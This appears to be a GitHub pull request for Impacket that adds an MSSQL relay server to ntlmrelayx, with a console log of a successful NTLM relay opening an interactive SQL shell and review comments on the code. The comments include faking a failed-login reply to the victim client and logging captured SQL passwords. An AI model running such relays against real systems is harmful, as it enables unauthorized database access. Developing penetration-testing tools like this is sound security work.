Skip to content

Conversation

@epotseluevskaya
Copy link

This PR is to add a MSSQL Relay server to NTLMRelayx. It is mostly based on the RAW Relay server.

[2025-11-16 16:39:07 PST] $ python3 examples/ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-raw-server -i -debug -t mssql://192.168.1.134
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[+] Impacket Library Installation Path: /home/ep/Desktop/impacket_mssql/lib/python3.12/site-packages/impacket
[+] Protocol Attack WINRMS loaded..
[+] Protocol Attack RPC loaded..
[+] Protocol Attack SMB loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack DCSYNC loaded..
[*] Running in relay mode to single host
[*] Setting up MSSQL Server on port 1433
[*] Multirelay disabled

[*] Servers started, waiting for connections
[*] (MSSQL): Received connection from 192.168.1.1, attacking target mssql://192.168.1.134
[+] (MSSQL): Receieved TDS pre-login from client
[*] Encryption required, switching to TLS
[+] (MSSQL): Sending our own TDS pre-login response to client
[+] (MSSQL): Parsing the client's login request
[*] (MSSQL): Client login request:
[*] (MSSQL): Hostname    : lHtfybNt
[*] (MSSQL): Client Name : ujKkODqs
[*] (MSSQL): App Name    : ujKkODqs
[*] (MSSQL): Database    : msdb
[+] (MSSQL): Removed the original database: msdb, the database is empty now. Change the --mssql-db setting if you want to specify the database
[+] (MSSQL): Relaying authentication to server
[*] (MSSQL): Authenticating connection from test.local/sqluser@192.168.88.1 against mssql://192.168.1.134 SUCCEED [1]
[*] mssql://TEST.LOCAL/SQLUSER@192.168.1.134 [1] -> Started interactive MSSQL shell via TCP on 127.0.0.1:11000

@anadrianmanrique anadrianmanrique added the enhancement Implemented features can be improved or revised label Nov 19, 2025
@gabrielg5
Copy link
Collaborator

Hey @epotseluevskaya hello, thanks for submitting this new feature!

There are couple issues that caught my attention right away:

  • I guess you haven't based the PR from the repo HEAD as some relay servers were removed from this branch ntlmrelayx (RPCRelayServer, WinRMRelayServer) as well as some other reverts in the example (logger init, ipv6 support)
  • The PRELOGIN response should be reified, instead than returning a hardcoded hex message

I'll be reviewing this PR so will be sharing more detailed comments going forward

@gabrielg5 gabrielg5 added the waiting for response Further information is needed from people who opened the issue or pull request label Nov 27, 2025
… hex message. Several not needed imports were removed. The server name in the LOGIN request was changed to match the target.
@epotseluevskaya
Copy link
Author

Thank you for your feedback, @gabrielg5!

Yes, it seems that my ntlmrelayx.py version was outdated. I made the changes that you requested.

@gabrielg5 gabrielg5 removed the waiting for response Further information is needed from people who opened the issue or pull request label Dec 4, 2025
Copy link
Collaborator

@gabrielg5 gabrielg5 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Been running some tests on the PR and reviewing code... a couple comments below

I'm still checking it as the client remains waiting for a response when talking to the relay. I guess it'd be better reply something to clients
A bit more on this later today

Let me know your insights on proposed changes/comments

Thank you!!

@gabrielg5 gabrielg5 added the waiting for response Further information is needed from people who opened the issue or pull request label Dec 10, 2025
Copy link
Collaborator

@gabrielg5 gabrielg5 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Using constants to identify different packets

epotseluevskaya and others added 9 commits December 16, 2025 14:53
Co-authored-by: Gabriel Gonzalez <gabriel.gonzalez@fortra.com>
Co-authored-by: Gabriel Gonzalez <gabriel.gonzalez@fortra.com>
Co-authored-by: Gabriel Gonzalez <gabriel.gonzalez@fortra.com>
Co-authored-by: Gabriel Gonzalez <gabriel.gonzalez@fortra.com>
Co-authored-by: Gabriel Gonzalez <gabriel.gonzalez@fortra.com>
Co-authored-by: Gabriel Gonzalez <gabriel.gonzalez@fortra.com>
@epotseluevskaya
Copy link
Author

Thank you @gabrielg5! I applied all the changes and added a response to the client with an imitation of a failed login (ERROR(MSSQLSERVER): Line 1: Login failed for user ''.). It looks like messages like this (with the empty username) can be caused by a variety of reasons including network issues, so it seemed appropriate here.

@gabrielg5 gabrielg5 removed the waiting for response Further information is needed from people who opened the issue or pull request label Dec 22, 2025
@gabrielg5 gabrielg5 dismissed their stale review December 22, 2025 14:50

Changes implemented

Copy link
Collaborator

@gabrielg5 gabrielg5 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Awesome! Last detail before merging PR
Thank you!!

LOG.debug("(MSSQL): Parsing the client's login request")
loginData = tds.TDS_LOGIN()
loginData.fromString(packet[8:])
LOG.info("(MSSQL): Client login request:")
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
LOG.info("(MSSQL): Client login request:")
LOG.debug("(MSSQL): Client login request:")

LOG.info("(MSSQL): Password : %s" % password.decode("utf-8"))
LOG.info("(MSSQL): Password is not empty. Relay is not required.")
if not loginData["SSPI"]:
LOG.error("(MSSQL): NTLMSSP_NEGOTIATE not found in login message")
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We should return the same "dummy error message" to the client here, right? so to avoid blocking their connect command
Can extract response to an external function and call it from here
(This state is triggered if connecting with SQL auth)

@gabrielg5 gabrielg5 added the waiting for response Further information is needed from people who opened the issue or pull request label Dec 22, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

enhancement Implemented features can be improved or revised waiting for response Further information is needed from people who opened the issue or pull request

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants